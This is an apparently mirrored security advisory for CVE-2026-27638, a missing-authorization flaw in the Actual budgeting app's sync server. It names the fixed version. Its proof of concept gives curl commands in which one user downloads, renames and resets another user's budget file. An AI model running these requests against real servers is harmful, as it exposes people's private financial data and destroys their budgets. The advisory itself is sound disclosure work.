@actual-app/sync-server
Affected
- introduced
0, fixed26.2.1(semver)
Fixed versions
26.2.1
Fix
- Fixed version
26.2.1npm install @actual-app/[email protected]
Advisory
Also known as: CVE-2026-27638
@actual-app/sync-server: Missing authorization in sync endpoints allows cross-user budget file access in multi-user mode
In multi-user mode (OpenID), the sync API endpoints (/sync/*) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID.
Affected Code
File: packages/sync-server/src/app-sync.ts
The validateSessionMiddleware on line 31 confirms the user is authenticated, but individual endpoints only check that the file *exists* (via verifyFileExists), never that the requesting user *owns* or *has access to* the file.
Compare with POST /sync/delete-user-file (lines 394-430) which correctly checks:
const isOwner = file.owner === userId;
const isServerAdmin = isAdmin(userId);
if (!isOwner && !isServerAdmin) { ... }
This check is missing from all other endpoints.
Affected Endpoints
GET /sync/download-user-file - download any budget filePOST /sync/upload-user-file - overwrite any budget filePOST /sync/sync - read/write sync messages of any filePOST /sync/user-get-key - read encryption key infoPOST /sync/user-create-key - change encryption keyPOST /sync/reset-user-file - reset sync statePOST /sync/update-user-filename - rename fileGET /sync/get-user-file-info - read file metadataPoC
Setup: Two users (Alice, Bob) authenticated via OpenID on the same Actual server. Alice has a budget with fileId abc-123.
Bob downloads Alice's budget:
curl -X GET 'https://actual.example.com/sync/download-user-file' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'X-Actual-File-Id: abc-123' \
-o stolen-budget.blob
Bob reads Alice's file metadata:
curl -X GET 'https://actual.example.com/sync/get-user-file-info' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'X-Actual-File-Id: abc-123'
Bob renames Alice's budget:
curl -X POST 'https://actual.example.com/sync/update-user-filename' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'Content-Type: application/json' \
-d '{"fileId": "abc-123", "name": "pwned"}'
Bob resets Alice's sync state (destructive):
curl -X POST 'https://actual.example.com/sync/reset-user-file' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'Content-Type: application/json' \
-d '{"fileId": "abc-123"}'
File IDs can be discovered by admin users via GET /sync/list-user-files (admins see all files), through user_access sharing, or by guessing.
Impact
In multi-user deployments (OpenID mode), any authenticated user can steal other users' complete financial data (transactions, accounts, balances, payees), modify or destroy their budgets, and tamper with encryption keys. This is a personal finance app, so the data is highly sensitive.
Medium Basis: The source's own band: MODERATE
0, fixed 26.2.1 (semver)26.2.1
26.2.1npm install @actual-app/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0